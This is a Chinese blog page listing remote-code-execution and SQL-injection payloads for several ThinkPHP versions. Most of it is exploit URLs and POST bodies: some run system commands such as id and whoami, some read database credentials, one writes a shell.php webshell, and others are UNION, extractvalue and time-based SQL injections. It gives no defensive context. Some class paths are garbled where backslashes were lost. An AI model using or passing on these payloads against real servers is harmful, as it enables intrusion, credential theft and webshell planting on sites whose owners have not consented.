zoukankan      html  css  js  c++  java
  • Thinkphp远程代码执行 payload汇总

    Thinkphp 5.0.22
    http://192.168.1.1/thinkphp/public/?s=.|thinkconfig/get&name=database.username
    http://192.168.1.1/thinkphp/public/?s=.|thinkconfig/get&name=database.password
    http://url/to/thinkphp_5.0.22/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    http://url/to/thinkphp_5.0.22/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    Thinkphp 5
    http://127.0.0.1/tp5/public/?s=index/ hinkView/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1

    Thinkphp 5.0.21
    http://localhost/thinkphp_5.0.21/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    http://localhost/thinkphp_5.0.21/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

    Thinkphp 5.1.*
    http://url/to/thinkphp5.1.29/?s=index/ hinkRequest/input&filter=phpinfo&data=1
    http://url/to/thinkphp5.1.29/?s=index/ hinkRequest/input&filter=system&data=cmd
    http://url/to/thinkphp5.1.29/?s=index/ hink emplatedriverfile/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
    http://url/to/thinkphp5.1.29/?s=index/ hinkviewdriverPhp/display&content=%3C?php%20phpinfo();?%3E
    http://url/to/thinkphp5.1.29/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    http://url/to/thinkphp5.1.29/?s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd
    http://url/to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
    http://url/to/thinkphp5.1.29/?s=index/ hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd

    未知版本
    ?s=index/ hinkmodule/action/param1/${@phpinfo()}
    ?s=index/ hinkModule/Action/Param/${@phpinfo()}
    ?s=index/ hink/module/aciton/param1/${@print(THINK_VERSION)}
    index.php?s=/home/article/view_recent/name/1'
    header = "X-Forwarded-For:1') and extractvalue(1, concat(0x5c,(select md5(233))))#"
    index.php?s=/home/shopcart/getPricetotal/tag/1%27
    index.php?s=/home/shopcart/getpriceNum/id/1%27
    index.php?s=/home/user/cut/id/1%27
    index.php?s=/home/service/index/id/1%27
    index.php?s=/home/pay/chongzhi/orderid/1%27
    index.php?s=/home/pay/index/orderid/1%27
    index.php?s=/home/order/complete/id/1%27
    index.php?s=/home/order/complete/id/1%27
    index.php?s=/home/order/detail/id/1%27
    index.php?s=/home/order/cancel/id/1%27
    index.php?s=/home/pay/index/orderid/1%27)%20UNION%20ALL%20SELECT%20md5(233)--+
    POST /index.php?s=/home/user/checkcode/ HTTP/1.1
    Content-Disposition: form-data; name="couponid"1') union select sleep('''+str(sleep_time)+''')#

    Thinkphp 5.0.23(完整版)Debug 模式
    (post)public/index.php (data)_method=__construct&filter[]=system&server[REQUEST_METHOD]=touch%20/tmp/xxx

    Thinkphp 5.0.23(完整版)
    (post)public/index.php?s=captcha (data) _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

    Thinkphp 5.0.10(完整版)
    (post)public/index.php?s=index/index/index (data)s=whoami&_method=__construct&method&filter[]=system

    Thinkphp 5.1.* 和 5.2.* 和 5.0.*
    (post)public/index.php (data)c=exec&f=calc.exe&_method=filter

    当 Php7 以上无法使用 Assert 的时候用
    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=包含&x=phpinfo();
    有上传图片或者日志用这个包含就可以

    thinkphp6任意文件上传

  • 相关阅读:
    Linux系统运维之MYSQL数据库集群部署(主从复制)
    Linux系统运维之负载均衡Tengine
    Linux系统运维之subversionEdge部署
    Linux系统运维之Hadoop、Hive、Flume数据处理
    CoIDE在STM32系列单片机中的使用实践
    软硬件调试九法:第三条规则 不要想而要看
    《产品经理》读书笔记
    <读书笔记> 代码整洁之道
    关于鼠标手的症状和恢复方法
    <读书笔记>软件调试之道 :从大局看调试-理想的调试环境
  • 原文地址:https://www.cnblogs.com/0day-li/p/13738280.html
Copyright © 2011-2022 走看看